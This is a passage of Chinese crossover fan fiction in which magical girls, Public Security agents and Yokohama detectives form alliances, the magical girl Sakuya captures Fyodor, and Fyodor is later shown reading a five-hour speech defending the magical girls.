但是……的确也不好避之不谈。 毕竟这也牵扯到了一些比较重要的事情。 于是，松田阵平便如实地跟对方讲述了，自己前段时间在浅井公寓楼与丘比签约的全过程。 ……包括萩原研二的死而复生。 这些事情显然给降谷零带来了不小的冲击，他紧锁着眉头，一直默默听着，心里不知道在思索什么。 松田阵平说道： “所以，魔法少女的具体情况绝对不能让其他人知道。尤其是那个能够实现任何愿望的机会。” 降谷零点点头：“……我知道了。” 松田阵平倒也熟悉自己的这个同期，还是对他挺放心的。 “目前我希望能与你合作，缓和警方与魔法少女之间的关系，这对两方而言都是好事。” “还有，关于萩的事情……” “我知道你也在那个组织里，我也想与你们公安一起覆灭掉组织。这样萩才会真正地拥有新的人生。” 降谷零神色有些复杂。 他感觉松田的处境似乎非常不妙。能让一个人死而复生的代价，怎么可能会那么简单。 但是如果换作是hiro像萩原一样……他大概也会做出和松田一样的选择。 幸好，hiro没有出事。 降谷零就这样想起了据说是出手帮了hiro的伊江朔久。 犹豫了一下，他问松田：“……伊江朔久知道你魔法少女的身份后，态度有什么变化吗？” 他想，伊江朔久对松田和萩原这么关照，大概率会是因为松田的魔法少女身份吧。 “没什么变化，和之前几乎一样。” 松田阵平轻皱了下眉。 “你应该也知道伊江和组织有些关系吧？但是他其实并不想和组织有瓜葛，只是因为他的亲人是组织高层……” 降谷零问道：“这是他跟你说的？” 他心底的情绪越来越复杂了，却又不知道怎么办。 松田……唉…… 松田阵平反问：“有什么不对吗？” “……没有。” 想着答应伊江朔久的事情，降谷零还是没有多说什么，只是对松田阵平产生了些愧疚。 松田阵平却突然说：“我大概能感觉到的，伊江身上似乎有一些说不清的谜团。” 第117章 降谷零怔了一下。 他微微低头不知道想了些什么，最后还是决定对松田装傻道： “……你说伊江朔久有什么谜团？” 松田阵平也没有去在意对方神色的细微变化，直白地回答：“我不知道，只是直觉而已，没什么线索。” 降谷零无奈。 不过他倒也知道，松田的直觉一直很敏锐，总是能够察觉其他人察觉不到的事情。 在伊江朔久的事情上也是。 既然松田能够感觉到伊江朔久身上隐藏着不少谜团，那么他也就不用多替对方担心什么了吧…… 降谷零忽然想起上次在波洛咖啡厅和伊江朔久交流时的场景。 当时他生气又不解对方为什么要欺骗松田和萩原，还请自己帮忙保密。 明明满口谎话、什么事情都不愿意透露，却又保证说绝对不会伤害他们…… 降谷零怎么可能随意相信这样的话。 于是，他当时问，我要怎么才能够相信你说的话？ 伊江朔久沉默过后说，你不用相信我说的任何话。 之后要不是因为知道伊江朔久在关键时刻帮了诸伏景光……降谷零也不会答应对方保密。 现在回想起来，降谷零感觉还是很难分辨伊江朔久每一句话的真假。 那个人太危险又太难以琢磨了。 按照松田的段位，可能就算觉得伊江朔久藏有秘密，也还是会被对方的演技给糊弄过去。 但是他却又不好出言提醒。 想了想，降谷零看向松田的眼睛，问道：“依照你的直觉来判断，你觉得伊江朔久是一个什么样的人？” 这个问题有点莫名其妙。 松田阵平眸光微沉：“……你是知道什么关于伊江的情报吗？” 降谷零摇了摇头。 他半真半假地回答：“我和他不熟，也只知道他在组织里有些地位，所以无法轻易相信他……” “主要是我们的这些事情太重要了，我不放心无法信任的人知道这些。于是只想问问你，我们是否能够对他放心？” 松田阵平缓了一口气，说道：“原来是这样。” 他心里稍微莫名踏实了一点。 “伊江他……我总感觉他似乎不是那么简单。但是他对我们没有任何恶意，甚至还一直都在主动帮忙。说起来，第一次见面时我就看见他在见义勇为……” 降谷零无奈地打断道：“我只想听你出于直觉的判断。” 毕竟，表面的语言和行为都是可以伪装起来的。 松田阵平不解地看了他一会儿，还是如实地说：“我直觉可以放心他行了吧。” 降谷零说道：“……我知道了，我相信你的直觉。” 虽然降谷零无法信任伊江朔久，但是他却能够选择相信松田阵平。 “对了，既然我们现在算是同盟，那找个机会见面谈一谈吧。” 降谷零提议道：“我也想了解一下萩原和伊江朔久如今的情况，方便我们进行之后的合作。” 松田阵平应道：“没问题，我之后跟他们说。” “至于魔法少女……” 降谷零声音渐渐低下来，陷入思考。 虽然降谷零有意帮忙，但是魔法少女和警方合作的事情……实在不是那么好促成的。 想了片刻后，降谷零再次出声道：“……我也是希望能先和她们见面谈一谈。” 松田阵平：“见面？以你的真实身份亲自去见她们吗？” 降谷零点头应下。 松田阵平语气不太赞同：“我现在还不清楚她们的身份，不知道她们的立场和对警方的看法……你一旦暴露身份就可能随时陷入危险之中。” 在说出这些话的时候，松田阵平还在想，要不要说出津岛和艾尔菲对警方的“条子”称呼。 犹豫了一下，松田阵平选择没说这个，但说了她们与港口黑手党达成合作的事情，提醒降谷零注意安全。 降谷零随便笑了笑。 他也没法说，自己的身份其实早就暴露给伊江朔久了。 他只能说：“目前警方和魔法少女的关系紧张，也只能是我先一个人单独去和她们谈谈了。” “况且危险的事情我们都经历得多了，这不算什么。目前的情况还是要尽早和她们交涉才行。” 降谷零说的有道理。 松田阵平也便只得应了下来。 不过，因为其他魔法少女现实中分散在不同的地方，要想让松代把她们同时都约来是一件比较麻烦的事情。 相对而言，伊江朔久和萩原研二就好约多了，很快就都同意了。 于是，降谷零就先找时间和他们约着一起谈了关于组织的事情。 地点就约在伊江朔久的侦探事务所里。 借这次交流的机会，降谷零收获颇丰，成功得到了许多有价值的情报，也聊了些今后该如何互相帮助的策略。 在有关组织的话题刚告一段落时，伊江朔久就先紧接着扯出了魔法少女的话题。 “安室君也知道了魔法少女的事情吗？” 降谷零自然地答道：“没错，我跟松田聊过了，我会尽力促成警方与她们的合作。” 萩原研二有点担心：“这种事情感觉很难做到啊。” “确实……”降谷零实话说道：“我顶多只能帮忙在警方与魔法少女之间搭上一条线，让两者有商谈的可能性而已。” 松田阵平并不悲观：“有这个可能性也算是不错了。” “安室君应该会选择先出面与魔法少女们交涉吧？”伊江朔久顿了顿，道：“我也希望能够一起去。” 松田阵平有些诧异地看向他。 伊江朔久温和地道：“安室君可以用公安的力量帮助魔法少女，我也有办法借助组织的势力和情报帮忙。” 第118章 虽然松田阵平知道伊江的话是有道理的，但是…… 怎么想都知道，牵扯进这种事情是非常危险的。 只是看着面前白发青年比正常人稍白的面色，还有那坐在轮椅上无法动弹的双腿……松田阵平便不希望他来插手帮忙。 “伊江……” 松田阵平不赞同地看向他，欲言又止。 伊江朔久却坚持道：“现如今你们每个人都处于危险之中，我自然不能袖手旁观。而且这事对我也是有利的，毕竟我们都希望组织能够消亡，对吧？” 松田阵平还是不太想应下。 他实在有点放心不下伊江，感觉对方运气一直不太好，总是容易被卷入麻烦之中。 和伊江认识也就短短这么几个月。 但期间对方用手挡刀受伤进过医院，在餐馆差点被人下毒害死，所住的公寓被安置了炸弹…… 平常就已经这么不容易了，要是到了更危险的处境……松田阵平不太能想象究竟还能发生些什么事情。 但这时，降谷零却出声帮伊江说话：“伊江君说的也有道理。有了他的帮忙，合作的事情应该会进展得更好一些。” 降谷零更清楚地知道伊江在组织里的情况，所以他自然不会担心对方有什么危险。 相比起来，还是其他人更需要担心一些。 有了降谷零的帮忙说话，再加上伊江朔久自身的坚持，游说了好几回之后…… 松田阵平虽然不放心，最终却也还是被迫同意了。 这件事情便也就这么定下来了。 ——由松代来引荐，使降谷零和伊江朔久与魔法少女们达成合作关系，互相帮忙、各取所需。 不过，松田阵平还没来得及跟她们提起这件事情，就发现有人做出了和自己类似的行动。 禅院穗在所有人都在的那个群聊里，先一步提出了与咒术界御三家之一的五条家合作的事情。 艾尔菲第一时间道：【五条家找我们合作？他们是有什么难以对付的魔女吗？】 禅院穗：【不是这种暂时性的交易合作，而是他们与我们成为长久的同盟，一直互利互助。】 松田阵平也就顺势说出了降谷零和伊江朔久的事情……接着说道：【就目前局势而言，我们确实应该多找些同盟，免得孤立无援。】 第一步进展得很顺利。 朔夜和艾尔菲都很快同意了。 甚至，艾尔菲还提出了：【我与组合本身就有合作关系，也可以让这一方参与进来。】 其他人也没有反对的意见。 松代：【那我们找个时间和合作对象都谈一下吧，为了方便今后合作的各项事宜。】 这当然也是必要的一环。 不过这时候，艾尔菲注意到：【津岛呢？她还没看到我们发的这些消息吗？】 禅院穗：【说起来，她这两天好像在群里都不怎么活跃，和往常完全不一样。应该是最近比较忙吧？】 津岛和其他人一般都是在除了朔夜之外的那个小群里更加活跃。 所以，伊江朔久也是才知道太宰治最近似乎有事在忙。 这个时间段…… 伊江朔久回想了一下原著剧情，横滨那边最近好像是该到了共噬事件了。 大概情节是，费奥多尔设计让侦探社的社长与黑手党的首领一同受到异能攻击。 那种病毒型异能会在48小时内使他们死亡。但如果一人提前死亡，另一人就能活下来。 最终侦探社与黑手党合作，击败了幕后黑手，暂时逮捕了费奥多尔。 想到这里，伊江朔久突然有了一点灵感，似乎可以利用一下这次事件。 如今虽然降谷零和五条悟都愿意提供帮助，但是这无法轻易改变当前局势，咒术界和警方都不会很快答应与魔法少女们友好相处。 所以还是得主动找点机会…… 或许费奥多尔可以帮到这个忙。 于是，伊江朔久立刻采取行动，以朔夜的身份去往了横滨。 伊江朔久调查到如今侦探社社长与黑手党首领刚刚遇袭不久，两方组织暂且还没有因此开始交战。 离费奥多尔被逮捕还有一两天的时间。 等到一切都尘埃落定后再出面，会更加稳妥些。 不过，伊江朔久突然想到，这个剧情节点……太宰治应该是找到了费奥多尔，准备从其口中得知关于那个病毒型异能的具体情报。 原著里的太宰治虽然能够拿到情报，但也会因此中枪被送进医院。 那家伙这一次还会用这种方法吗？ 伊江朔久不太确定。 以前太宰治就总是这样喜欢将自己置于险境，在死亡的边缘徘徊。 如今在重要的友人回到身边后，太宰治还会这么做吗？ 伊江朔久想了片刻后决定放弃思考。 还是让朔夜直接找到太宰治就好。 幸运的是，朔夜赶上了时间。 她到的时候，太宰治和费奥多尔刚谈完了病毒型异能的情报。 费奥多尔做出了提前定好的手势，埋伏在暗处的狙击手早已瞄准好了太宰治，在这一刻将子弹射出…… 然而，子弹却在中途偏离了原先的轨迹。 有一支突然出现的箭矢精准而快速地撞上了那颗子弹，使其没能命中原先的目标。 箭矢？ 费奥多尔意外地侧目看去。 一个手上正拿着弓的白发少女不知何时出现在了这旁边，形象特征非常鲜明，显然正是网上很火的那位魔法少女朔夜。 可是，这个人为什么会突然出现在这里？还会去帮助太宰治？ 难道是太宰君请来的帮手？ 费奥多尔看了眼太宰治。 更令人意外的是，太宰治对此表现得挺诧异，似乎也不清楚为什么朔夜会忽然来到这里出手帮他。 太宰君的神情不太像是装出来的，更何况也没有伪装这个的必要。 那这就奇怪了…… 费奥多尔在心里做着无数种猜测。 虽然不清楚具体情况，但是这场面很明显是朔夜帮了太宰治。 也就是说目前形势逆转，自己的计划出了很严重的岔子，说不定还会牵扯到之后的一系列计划…… 真够糟糕的。 然而，忽然成为优势方的太宰治此刻却也不怎么开心。 朔夜突然出现在这里还可以用意外路过来解释，但是第一时间就主动出手帮他…… 这其中的信息就很明显了。 ——朔夜知道自己的身份了。 可她是怎么知道的？ 太宰治一时间只能想到唯一知道自己身份的丘比，很可能就是那个白色生物告诉朔夜的。 真是的，说好的保护隐私呢？！ 丘比这家伙不会真的就和朔夜关系这么好吧？？？ 第119章 “你在做什么？” 白发少女面无表情地对着太宰治问道。 虽然她的神情和语气看起来和往常似乎没有什么区别，但是太宰治却敏锐地察觉到了一点冷意。 ……朔夜好像心情不是很好？ 向来了解并擅于操纵人心的太宰治隐约能知道这是为什么，可是这原因说起来真的有些奇怪。 为什么朔夜会在意他是否受伤？ 仔细想想之前也是，朔夜同样在意着其他的几位魔法少女。 虽然她平常说的话不怎么好听，还一直表现得很冷漠的样子……但是她其实总是默默帮助着别人。 行为比语言和态度要更可信得多。 就太宰治所见的，朔夜在浅井公寓楼拆掉炸.弹救了那里的受害者，在她们于寺庙里对付魔女时无声地远远看着，那次就算放任预言魔女逃离也会先留下来保障她们的安全…… 这样的事例太多了。 可是，为什么呢？ 太宰治很难相信这种无缘无故的好。 他觉得一切异常都应该会有原因来解释，只是可能关于朔夜的谜题比其他题都要难，所以他才无法像往常一样短时间内就找到答案。 但答案一定是存在的。 不过，目前不是想办法探寻答案的时候，他还得注意着将眼前的场景应付过去。 万一被魔人知道了自己的身份，那么今后和对方交锋时，恐怕会永远被对方拿这件事来嘲笑吧。 想想就觉得恐怖。 太宰治装作并不怎么熟悉魔法少女般，生疏地称呼对方：“朔夜小姐？你怎么会出现在这里？” 他看着白发少女的眼睛，由衷地希望对方这次也能帮个忙，跟自己一起演戏说她只是路过而已。 虽然这种谎话不一定能瞒得过费奥多尔，但是总比朔夜用面对津岛的态度，这样直接和自己对话要好得多。 然而，朔夜一句话也没有说。 太宰治的面部表情都有一点僵了。 果然朔夜的心情不怎么好。 再次得出这一结论的太宰治情绪也有些许复杂…… 在旁边观察了一小会儿的费奥多尔礼貌开口：“请问你们二位认识吗？” 太宰治看了看一言不发的朔夜，对费奥多尔同样礼貌地回复道：“不好意思，这似乎完全不关你的事呢。” 这时候，巷子外面不远处传来越来越近的脚步声，还有熟悉的人的说话声。 “奇怪了，太宰先生说是要在附近调查些事情，可是怎么突然就跑不见了？” “再往前面找找吧，他应该没走太远。” 紧接着，说话的那人走进了这条巷子。 是中岛敦、泉镜花、还有织田作之助。 中岛敦看见巷子里的场景，愣了一下，但很快就反应过来，惊讶地问道：“太宰先生，这是什么情况？” 这巷子里的氛围还真有点奇怪。 原先这里面的三个人彼此之间都隔着一些距离，仿佛不怎么熟悉，但却莫名其妙地都聚在这个并不宽敞的小巷里。 其中最违和的就是那个手上还拿着弓的魔法少女。 朔夜怎么会出现在这里？ 中岛敦忍不住悄悄瞥向朔夜，对她产生了很浓厚的好奇心。 而看着周围几人似乎都对魔法少女很有兴趣，太宰治则感觉有点不妙，自己的马甲似乎比较危险了。 他企图转移话题：“……我当然是来这里调查社长所中异能的情报，现在已经知道具体情况了，该回去赶紧告知其他人了吧。” 中岛敦愣了一下道：“是哦。” 费奥多尔微笑着趁机道：“那么，我也该走了，各位下次有缘再见。” 说罢，他脚步尽量轻地往巷子口挪去，希望就这么降低存在感，赶紧离开这个突然就危险起来的奇怪地方。 不过费奥多尔没能如愿。 他刚走了那么几步，织田作之助就稍一迈步，侧身帮忙拦住了他继续往前的路。 并且，朔夜也随即举起弓，凭空显现的箭矢对准了费奥多尔。 “请问各位有什么事情吗？” 费奥多尔无奈地举起手，表示自己没什么反抗的意思。 然而就在他话音刚刚落下时，风中忽然传来异动，不远处的一颗子弹飞速地袭向这边方向—— 又是刚才偷袭太宰治的那位狙击手。 当然，对方上一次没能得利，这一次也是同样如此。 拥有可以短暂预知未来异能的织田作之助，非常顺利地躲过了子弹。 而朔夜则毫不犹豫地举弓，向着子弹射来的方向拉弦射箭。 远处那位狙击手即使速度已经够快了，但却还是没来得及射出第二颗子弹，就已经被朔夜的箭矢命中。 那人没有任何抵挡方法，于是瞬间便被贯穿了心脏，失去了所有生息。 这下就糟糕了。 费奥多尔面上表情不变，心中却凉了半截。 他本来是准备让那个狙击手多射几枪、将这里的场景弄得稍微混乱一点，就借此赶紧离开的。 但那箭矢的速度比子弹还要快上数倍。 他安排的狙击手还没发挥出效果就已经死掉了。 织田作之助问道：“你就是设计用病毒型异能袭击侦探社社长的那个人？” 费奥多尔打量了织田一番。 这个人他也认识，是横滨比较有名的一位小说家，其他的信息他就不怎么了解了。 毕竟对方近些年仅仅用小说家的身份活跃着而已。 费奥多尔点了下头：“是我做的，但我现在没办法解除他们所中的异能。对了，我也想问一个问题，你为什么要牵扯进这种事情来？你和侦探社有什么关系吗？” 织田看了一眼太宰治，说道：“太宰是我的朋友。” 这句话说得没什么犹豫。 显然他真的和太宰治是关系很好的朋友，所以即使放弃安稳平凡的生活，也要为了帮助太宰而牵扯进这些麻烦中来。 费奥多尔却有点诧异：“太宰君什么时候竟然会有朋友了？” 太宰治露出浅浅的危险笑容：“我怎么不能有朋友？我们之间难道很熟吗？” 费奥多尔：“只是我从来没有收集到这种情报而已。” 太宰治讽刺道：“那只能证明老鼠真是最没用的生物，连最拿手的情报收集也做不好。” 费奥多尔看起来依旧平静自若：“怪不得太宰君你知道我提前安排了狙击手，也还是主动找来这里获取情报……” 太宰治感觉有点不妙，果然听费奥多尔继续道： “原来你和朔夜小姐、织田先生的关系这么好，你早就做好了准备，提前让他们来保障你的安全，对吧？” 太宰治：“……” 魔人在瞎猜什么呢。 他只是知道魔人为了后续计划、不会直接在这里杀了自己，顶多是让他受些不致死的伤而已。再加上成为魔法少女后恢复力远比普通人要强。 所以，他才敢一个人来找对方获取情报。 中岛敦忍不住好奇地出声：“太宰先生和朔夜小姐关系很好？” 费奥多尔随口道：“当然，不久前狙击手的第一颗子弹才刚射向太宰君，朔夜小姐就立即出现保护了他呢。” 太宰治真的要解释不清了。 他要怎么解释自己为什么会和魔法少女关系好啊？ 以表面的身份和年龄来看，不管找什么理由都会感觉怪怪的。 这时候，沉默了许久的朔夜忽然道：“我和他没什么关系。” 这句话有点用，但不多。 费奥多尔应该不会相信，而其他人也会奇怪为什么朔夜会出现在这么偏僻的巷子来及时帮助太宰治。 太宰治仿佛已经从中岛敦和泉镜花身上看到了快要具象化的浓厚好奇心了。 真恐怖啊。 第120章 说到底，只要有魔法少女出现在自己身旁，和自己牵扯上关系……就非常容易面临掉马的问题。 艾尔菲就是前车之鉴。 太宰治头疼地想着。 这么久以来，总是他去主动探寻别人的身份和马甲，而且还很有成效。 已经确定了艾尔菲的身份，对其他魔法少女的身份也有了一定猜测和怀疑的范围。 然而如今，居然也到了他自己身份危机的时候。 “太宰。” 织田突然出声道，声音稍微有些低沉。 太宰治暂时放下对自己马甲的担心，侧目看向织田作之助。 织田顿了顿，才道：“……你说过，我能够帮到你的。” 太宰治瞬间想起了刚才费奥多尔说的话。 对了，自己刚才故意一个人来涉险的事情暴露了，而且自己可没有提前跟织田作透露过这件事。 织田的语气似乎一如往常般没什么起伏，但此刻心虚的太宰治却从中听到了一点委屈和担忧的情绪。 早知道不久前在路上看见织田作的时候，就不叫住他了。 明明自己早就知道这样会麻烦对方操不必要的心的…… 太宰治难得开始反思。 当时知道森鸥外在街上遇袭的消息后，他第一时间就推算出袭击森鸥外的人会从哪里离开，并预料到了后续可能会发生的情况。 他便准备糊弄一下中岛敦和泉镜花，自己先一个人找过来。 不过那时，太宰治却意外瞥见了路边的织田作之助。 织田当时手上拿着一个眼熟的小本子，正在专心地低头看里面的内容。 太宰治记得那个本子。 上次在酒吧喝酒时，他就注意到了织田作身上的本子，当时对方解释说那是用来记录灵感、为写好小说而准备的。 说是因为记录的文字太乱了，所以织田作没有给他看里面写的内容。 虽然太宰治已经决定不去探究对方的这个秘密，可是却无法真正做到毫不在意…… 尤其是当看见织田作那么认真地看着本子，脸上的神色看起来奇怪地有些凝重，像是藏着什么心事一样。 太宰治就下意识地走上前去，出声唤道：“织田作。” 听到声音的刹那，织田第一反应是将手中的小本子合上，随后才抬眼看向太宰治。 “……太宰，你怎么在这里？” 织田边问着，边尽量自然地将本子收回到自己的口袋里。 但在一直注意着那个本子的太宰治眼里，他的行为就显得非常显眼了，明显是不想让自己看到那个本子。 可是，太宰治什么也没有问，就如对方所愿的当作没看见。 “我是来调查情报的，我们社长昨天被人袭击了……” 太宰治简单解释了一番。 一旁的中岛敦看向织田问道：“太宰先生，这位是？” 太宰治顿了顿道：“我的朋友。” 于是，织田便顺着说：“太宰，我跟你们一起调查吧，有什么能够帮得上忙的尽管说。” 太宰治刚想说暂时没什么需要帮忙的。 织田就很快说道：“毕竟我们是朋友……不管能不能帮得上忙，我也不想只是看着你陷入麻烦之中而不管。” 这下太宰治没什么话可说了。 他只好先答应安定下织田作，然后再找机会趁其他人不注意时赶紧溜走，还是一个人来找了费奥多尔…… 然后就变成了现在这个局面。 太宰治勉强解释道：“我有把握，知道魔人这次绝对不会杀我的。” 织田微微垂下头，难得无奈地叹了口气。 费奥多尔也很无奈：“我确实没想杀太宰君，不如这次先让我离开吧？” 他其实也知道如今这局面，这些人大概不会放他离开的。 不过虽然他的计划出了纰漏，但还不算太过糟糕，只是更早的进入了下个节点而已。 他应该会被带进专门关押危险异能犯的默尔索监狱里，然后开启自己的下一步计划……如果一切顺利的话。 但显然情况不怎么顺利。 费奥多尔意外地听见朔夜出声道：“不行，我需要你的帮忙。” 虽然这句话的内容听起来似乎是在请求他的帮助，但费奥多尔明白对方用的语气是——这个忙你不帮也得帮。 费奥多尔感到不妙地问：“什么忙？” “你过段时间就会知道了。” “过段时间？” 朔夜简明地说：“现在跟我走，否则我会杀了你。” 费奥多尔顿了一下，面色有点僵硬地慢慢说道：“……非法囚禁？” 他瞥了一眼旁边的其他几人，他们的神色几乎都有些诧异，看来是也没想到朔夜会这个样子。 费奥多尔尝试挣扎：“我听说，侦探社是一个合法的正经组织吧？” 朔夜：“我与侦探社无关。” 费奥多尔：“……侦探社会眼睁睁地看着这样的非法行为发生吗？不管是什么犯人，都应该交由官方处置吧？” 事实证明……他们会。 白发少女平静地用视线扫过旁边的其他人。 太宰治随即笑道：“朔夜小姐请自便。” 刚才听到费奥多尔的话、犹豫了一会儿的中岛敦看见了太宰治的态度，便也顺从地没有多说什么。 于是，朔夜便这么当众带走了费奥多尔。 走的时候，太宰治还提醒了一句：“小心他的异能【罪与罚】，似乎是可以通过触碰而杀死他人。” 朔夜随意点了下头，似乎没有放在心上。 不过太宰治倒也不是很担心她，按照朔夜的实力，费奥多尔不会有机会伤到她的。 而且，朔夜这次看来是专门来找费奥多尔的，能这么精准而快速地找到这个很会躲藏的老鼠…… 朔夜肯定也掌握着很充足的情报。 确实如此。 伊江朔久知道原著的情节，比太宰治更清楚费奥多尔的真正异能。 ——费奥多尔可以在杀死自己的人身上再度复活。 这也是伊江朔久这次特地来找他帮忙的原因所在。【你现在阅读的是 】 120-130 第121章 借助五条家递来的这条线，与咒术界缓和关系……让突然不知从哪冒出来的魔法少女不再孤立无援，能够在这个世界站稳脚跟。 伏黑惠是这么想的。 不过，计划当然不可能永远如预期一般顺利。 虽然五条家是御三家之一，但是咒术界那些高层也不会轻易就改变原先的态度，他们对魔法少女的存在依旧是非常警惕和怀疑的。 这时候，禅院家便趁机开口了——他们想让禅院穗回去。 伏黑惠：“……” 禅院家还真觉得禅院穗是他们家族的人啊。 他忍不住第不知道多少次后悔，自己当时为什么鬼使神差地用禅院这个姓氏来做假名。 伏黑惠想办法让五条悟转告禅院家，禅院穗完全与禅院家无关。 但是那些人却不相信。 非说什么…… 禅院这个姓氏并不常见，而且那个少女是禅院家族里标志性的黑发绿眼，虽然是女孩子、但实力和天赋都还算出色…… 所以还是让她回去检测下血脉，如果真与禅院家无关的话再另说。 伏黑惠无语。 他对这个家族的好感度实在是越来越低了。 禅院家明摆着瞧不起女性和非术师者，却又非常自傲于他们的血统。 就连想要拉拢禅院穗的时候，都用着一种施舍的态度，传话时的言辞和语气令人生厌。 ……可是很无奈，禅院穗的确与禅院家有关。 伏黑惠无法摆脱自己的血脉，所以不能以禅院穗的身份站出去，和他们彻底撇清关系。 而咒术界其他人也跟看戏似的，对此很感兴趣并默默支持，也就加强了禅院家对魔法少女施压的气焰。 伏黑惠一时间非常头疼。 “伏黑伏黑！” 虎杖悠仁突然凑过来，很活跃地拿着个手机，跟他搭话道：“你看到网上疯传的视频了吗？就在不久前，有一个人代表魔法少女公开发言！” 代表魔法少女？ 伏黑惠怔了一下。 他怎么之前没听过这种事情？ 伏黑惠立刻问道：“是谁？” “我也不认识他啦，不过他在视频里露面了，你看。” 虎杖悠仁直接将手机屏幕放到伏黑惠面前。 视频里，有着一个黑色中长发的青年。 他戴着哥萨克帽、披着披风，面色有种贫血般的白，看起来像个病弱的俄罗斯人…… 但那双葡萄红的眼瞳却隐约透露着危险感，让他显得并不那么好欺负。 伏黑惠沉思了一下。 ……这个人是谁？ 钉崎野蔷薇好奇问道：“禅院穗跟你提起过这个人吧？她是怎么说的？” 伏黑惠：“……” 他能说禅院穗自己也不知道这个人是谁吗？ “没有，她从来没提过。” 顾忌着掉马的风险，伏黑惠只能这么说。 虎杖悠仁愣了一下，安慰道：“她应该是不想经常打扰麻烦你，才没跟你说的。毕竟最近你为魔法少女的事情已经忙碌太久了。” ……这什么跟什么啊。 暗暗咬了咬牙，伏黑惠不解地问道：“你们为什么会觉得视频里的这个人能代表魔法少女？要是他和魔法少女完全没有关系，只是故意伪装身份的呢？” 钉崎野蔷薇迟疑了一下，还是说：“不可能吧，你看完这个视频就知道了。” 伏黑惠：“？？？” 他不解地点击播放视频。 里面的那个青年便坐在桌前微微垂眸，开始读手上拿着的稿子。旁边甚至还摆放着很厚的一沓纸张，似乎也都是他接下来要读的。 伏黑惠耐心听了一会儿。 青年读的内容差不多都是在说魔法少女的好话，为她们之前的行为解释，在讲述她们对付魔女的艰难与保护民众的付出…… 稿子写得很好，言辞诚恳，很能打动人心。 伏黑惠听得都有些恍惚。 这里面说的那什么傲娇又别扭、不会为自己说好话，但其实正义善良、一直帮助着别人却从不居功的魔法少女…… 真的是他自己吗？？！ 要不是他就是当事人，他都快要忍不住被打动了。 可是，读稿子的青年显然不是一个好的演讲者。 从始至终，那人的表情和语气就没发生过什么变化，就像是一个机器般，都让人忍不住怀疑这其实是个面瘫了。 也是幸好这个稿子写得足够好，不然估计没多少人能够耐心听下去。 不过，即使这个稿子写得再好，伏黑惠也听不下去这些离谱的夸奖词…… 毕竟他又不是什么自恋狂。 伏黑惠点了下屏幕，看了看播放进度，再次陷入沉思。 ……这视频竟然有五个多小时？？！ 他随意拖动了一下视频进度，然后发现视频里的这个青年还真就这么念了五个多小时的稿子。 很明显能听到对方讲着讲着，声音越来越沙哑…… 好吧，伏黑惠理解对方如同机器人一般的平淡语气了。 不间断地读上五个多小时稿子就已经很不容易，很能证明对方对魔法少女的重视了。 要是真的用演讲的语气抑扬顿挫地讲，估计对方讲完后，嗓子也就该彻底废了吧。 伏黑惠发表感想：“他……对魔法少女还挺在意的。” 这样在视频里直接露面，公开为魔法少女们发言，还准备了这么用心的稿子…… 确实是很难为其他人了。 尤其是，现在魔法少女所处的局势不好。 四处都是她们的敌人，对方敢这样公然站出来肯定会引火烧身，给自己带来非常多的麻烦，一不小心还会有杀身之祸。 伏黑惠都有点怀疑，是有人拿枪逼着他这么做，不然就会杀死他了…… “不过，这样就能代表魔法少女了吗？那些魔法少女是不是有可能根本不知道这个人，这或许只是他的自发行为？” 伏黑惠问道。 虎杖悠仁没有说话，而是调了一下视频进度，精确到了第13分钟22秒，示意伏黑惠去看。 视频里，朔夜的身影从正在念稿子的青年身后走过。 虎杖悠仁接下来又调到了第5小时17分钟12秒。 视频里虽然只有青年，但不远处隐约出现了津岛的声音：“你们……这是在做什么？” 接着，朔夜的声音也自然地响起：“显而易见，费奥多尔君在帮我们的忙。” 朔夜仿佛与费奥多尔非常熟稔地道： “谢谢，麻烦你了，费奥多尔，先读到这里吧。” 视频里嗓音已经非常沙哑的青年终于停下了读稿。 那个青年脸上没什么表情，但伏黑惠却觉得对方似乎是暗暗松了口气。 “不用谢，我很荣幸能够帮上忙。” 视频到此结束。 虎杖悠仁脸上扬起笑容，总结道：“这个叫费奥多尔的人一定和魔法少女们关系匪浅。真好啊，有这样的好人愿意在这种时刻帮助她们。” 第122章 钉崎野蔷薇与虎杖悠仁的看法相同：“居然能够连着读五个多小时，费奥多尔他一定和魔法少女们关系很好，才会这么迫切地想要帮上她们的忙。” 费奥多尔和魔法少女们关系很好？ 伏黑惠：“……？！” 他这个魔法少女怎么不知道这个信息？ 这个费奥多尔到底是谁啊？为什么先前完全没听说过有这么一个人？？！ 等等……伏黑惠回忆着视频里所在的场景，忽然觉得有些熟悉。 那个桌子不太眼熟，应该是新布置的，但是背景露出的那点画面……他是越想越觉得自己应该是在哪里见过才对。 对了，那是津岛在东京的安全屋！ 禅院穗去过那么几次，她们魔法少女一般约着有事集体见面的时候，都是选在那里的。 所以说，是朔夜和津岛弄出了这回事？ 她们两个什么时候跟这个俄罗斯人商量好这么做的？怎么完全不和其他人提前说一声？ ……好吧，这种事情似乎也很正常，符合她们两个的性格。 不过…… 伏黑惠有点担心。 魔法少女的风评不可能因为一个人的言辞而轻易改变，反而那第一个站出来说话的人接下来会遇到数不清的危险。 她们两个为什么忽然要这么做呢？ 伏黑惠想了想，问道：“这个视频是刚发布到网上的？” “对啊，就今天才发到网上的。” 虎杖悠仁说道：“不过网上讨论度已经很高了。” “视频刚发没多久时，就有很多人倍速或者提取音频文字看完了，还逐字逐句地分析呢。” 伏黑惠闻言，犹豫片刻还是说道：“我有事得先离开了，等下的那节课帮忙给我请一下假。” 他准备去一趟津岛的安全屋。 既然视频才发布没多久，说不定费奥多尔和那两个魔法少女还待在那里，他想去看看能不能获得什么情报。 不过，伏黑惠的两个同学也猜出了他的打算。 虽然猜得不是很准，但也大差不差。 钉崎野蔷薇有点错愕：“诶？！你是要请假去找禅院穗吗？现在是不是有点太突然了？” 虎杖悠仁也道：“可是伏黑你这些天已经缺了很多课了，而且等下那节课是……” 然而，伏黑惠还挂念着赶紧过去，免得晚了之后，那个安全屋可能就一个人也没了。 他只得不好意思地留下一句“抱歉，麻烦你们了”，就立刻匆匆离开了。 只剩下钉崎野蔷薇和虎杖悠仁面面相觑。 “……等下那节课是考试啊。” 虎杖悠仁扶额叹气。 钉崎野蔷薇也跟着叹气：“怪不得那些大人都阻止早恋，谈恋爱的伏黑天天这么忙，根本没有心思好好上学嘛。” “等下的考试怎么办啊？” “还能怎么办，顶多等到他之后挂科补考的时候，我们帮他补习一下咯。” “……也是。” …… 一心想着自己魔法少女事业的伏黑惠，完全忘了自己考试请假会挂科补考的事情。 离开学校后，伏黑惠就熟练地找地方变成了禅院穗，换上遮盖特征的服饰，快速前往那个安全屋。 她敲了两下门。 门很快就被打开了，仿佛里面知道会有人来。 